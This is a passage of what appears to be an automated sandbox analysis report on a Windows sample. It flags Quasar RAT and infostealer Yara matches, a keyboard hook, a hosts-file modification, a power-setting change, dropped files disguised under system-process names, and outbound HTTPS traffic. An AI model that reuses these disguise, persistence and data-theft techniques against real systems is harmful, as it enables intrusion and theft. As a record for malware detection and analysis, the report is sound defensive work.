Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 140.82.116.5:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.135.36.89:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49769 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Jump to behavior

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3077536564.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w85VkFOxiD.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Update.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED	Matched rule: Detects Quasar infostealer Author: ditekshen

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC272B2C NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	5_2_00000264CC272B2C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC27202C NtQuerySystemInformation,StrCmpNIW,	5_2_00000264CC27202C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC2728C8 NtEnumerateValueKey,NtEnumerateValueKey,	5_2_00000264CC2728C8
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC27253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	5_2_00000264CC27253C
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Code function: 6_2_00007FF7B0871394 NtWriteVirtualMemory,	6_2_00007FF7B0871394
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A202C NtQuerySystemInformation,StrCmpNIW,	10_2_1D3A202C
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A28C8 NtEnumerateValueKey,NtEnumerateValueKey,	10_2_1D3A28C8
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A2B2C NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	10_2_1D3A2B2C
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A2F04 GetProcessHeap,HeapAlloc,RtlAllocateHeap,NtQuerySystemInformation,StrCmpNIW,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,	10_2_1D3A2F04
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A2244 GetProcessIdOfThread,GetCurrentProcessId,CreateFileW,WriteFile,ReadFile,CloseHandle,NtResumeThread,	10_2_1D3A2244
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	42_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC6428C8 NtEnumerateValueKey,NtEnumerateValueKey,	48_2_00000225DC6428C8
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Code function: 53_2_00007FF6535C1394 NtAdjustTokenClaimsAndDeviceGroups,	53_2_00007FF6535C1394
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AE202C NtQuerySystemInformation,StrCmpNIW,	54_2_00000202C0AE202C
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AE253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	54_2_00000202C0AE253C

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00000264CC272B2C: NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,

5_2_00000264CC272B2C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F4B570	1_2_02F4B570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F49063	1_2_02F49063
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F4C72F	1_2_02F4C72F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F4B550	1_2_02F4B550
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Code function: 3_2_00007FFD9BA07FC7	3_2_00007FFD9BA07FC7
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Code function: 3_2_00007FFD9BA04528	3_2_00007FFD9BA04528
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC241F2C	5_2_00000264CC241F2C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC24D0E0	5_2_00000264CC24D0E0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC2538A8	5_2_00000264CC2538A8
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC272B2C	5_2_00000264CC272B2C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC27DCE0	5_2_00000264CC27DCE0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC2844A8	5_2_00000264CC2844A8
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728807A9C	5_2_00007FF728807A9C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728806B50	5_2_00007FF728806B50
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E7B60	5_2_00007FF7287E7B60
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8670	5_2_00007FF7287F8670
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E1000	5_2_00007FF7287E1000
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728801720	5_2_00007FF728801720
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F42D4	5_2_00007FF7287F42D4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E92D0	5_2_00007FF7287E92D0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728804A60	5_2_00007FF728804A60
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F2274	5_2_00007FF7287F2274
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728801720	5_2_00007FF728801720
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F2A94	5_2_00007FF7287F2A94
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287FF320	5_2_00007FF7287FF320
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287FECA0	5_2_00007FF7287FECA0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F84BC	5_2_00007FF7287F84BC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287FAC50	5_2_00007FF7287FAC50
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F2480	5_2_00007FF7287F2480
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E9D9B	5_2_00007FF7287E9D9B
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728806DCC	5_2_00007FF728806DCC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F3540	5_2_00007FF7287F3540
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728807550	5_2_00007FF728807550
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7288026C4	5_2_00007FF7288026C4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F3ED0	5_2_00007FF7287F3ED0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8EF4	5_2_00007FF7287F8EF4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF728804EFC	5_2_00007FF728804EFC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F2684	5_2_00007FF7287F2684
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8670	5_2_00007FF7287F8670
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF72880A7D8	5_2_00007FF72880A7D8
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287FE80C	5_2_00007FF7287FE80C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E9F3B	5_2_00007FF7287E9F3B
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F6750	5_2_00007FF7287F6750
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287EA76D	5_2_00007FF7287EA76D
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F2070	5_2_00007FF7287F2070
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F2890	5_2_00007FF7287F2890
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1C75D0E0	10_2_1C75D0E0
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1C7638A8	10_2_1C7638A8
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1C751F2C	10_2_1C751F2C
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A2B2C	10_2_1D3A2B2C
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3B44A8	10_2_1D3B44A8
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3ADCE0	10_2_1D3ADCE0
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9B9F3CA5	10_2_00007FFD9B9F3CA5
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC77C16	10_2_00007FFD9BC77C16
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC69271	10_2_00007FFD9BC69271
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC7E9E0	10_2_00007FFD9BC7E9E0
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC78A0F	10_2_00007FFD9BC78A0F
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC8F960	10_2_00007FFD9BC8F960
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC7B851	10_2_00007FFD9BC7B851
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC6AFDD	10_2_00007FFD9BC6AFDD
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC69FD0	10_2_00007FFD9BC69FD0
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC88E30	10_2_00007FFD9BC88E30
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC655D6	10_2_00007FFD9BC655D6
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC6621F	10_2_00007FFD9BC6621F
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC8B175	10_2_00007FFD9BC8B175
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC8B0EC	10_2_00007FFD9BC8B0EC
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC8A611	10_2_00007FFD9BC8A611
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BD82321	10_2_00007FFD9BD82321
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_0000021BB0181F2C	14_2_0000021BB0181F2C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF94A54	14_2_00007FFDEEF94A54
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF92D74	14_2_00007FFDEEF92D74
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF922AC	14_2_00007FFDEEF922AC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF96C1C	14_2_00007FFDEEF96C1C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF9275C	14_2_00007FFDEEF9275C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF94B56	14_2_00007FFDEEF94B56
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEF0BC5F0	14_2_00007FFDEF0BC5F0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEFAC620	14_2_00007FFDEEFAC620
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF9177B	14_2_00007FFDEEF9177B
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEFAC480	14_2_00007FFDEEFAC480
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF925EF	14_2_00007FFDEEF925EF
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF969E2	14_2_00007FFDEEF969E2
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEF040440	14_2_00007FFDEF040440
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEEF92C75	14_2_00007FFDEEF92C75
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFDEF1482E0	14_2_00007FFDEF1482E0
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_000000014000226C	42_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_00000001400014D8	42_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_0000000140002560	42_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC611F2C	48_2_00000225DC611F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC61D0E0	48_2_00000225DC61D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC6238A8	48_2_00000225DC6238A8
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC642B2C	48_2_00000225DC642B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC64DCE0	48_2_00000225DC64DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC6544A8	48_2_00000225DC6544A8
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AB1F2C	54_2_00000202C0AB1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AC38A8	54_2_00000202C0AC38A8
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0ABD0E0	54_2_00000202C0ABD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AE2B2C	54_2_00000202C0AE2B2C
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AF44A8	54_2_00000202C0AF44A8
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AEDCE0	54_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A6612D1F2C	55_2_000002A6612D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A6612DD0E0	55_2_000002A6612DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A6612E38A8	55_2_000002A6612E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A661302B2C	55_2_000002A661302B2C
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A66131AEC5	55_2_000002A66131AEC5
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A66130DCE0	55_2_000002A66130DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A6613144A8	55_2_000002A6613144A8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd 1F588A0D71C5378987FE05224493D85E93D02A52CE0B05809A06FC2BD489C325

Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Code function: String function: 00007FFD9BA02460 appears 98 times
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Code function: String function: 00007FF6535C1394 appears 33 times
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Code function: String function: 00007FF7B0871394 appears 33 times
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: String function: 00007FFE0E16C010 appears 47 times
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: String function: 00007FFDEEF92734 appears 48 times
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: String function: 00007FF7287E2B10 appears 47 times
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: String function: 00007FFDEEF91EF1 appears 219 times
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: String function: 00007FFDEEF94057 appears 75 times

Source: api-ms-win-core-synch-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: python3.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.5.dr	Static PE information: No import functions for PE file found

Source: w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRuntimeBroker< vs w85VkFOxiD.exe
Source: w85VkFOxiD.exe, 00000000.00000002.1678184996.0000000001EA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePo vs w85VkFOxiD.exe
Source: w85VkFOxiD.exe, 00000000.00000002.1683136202.0000000004810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameR3nzSkin.exeJ vs w85VkFOxiD.exe

Source: w85VkFOxiD.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
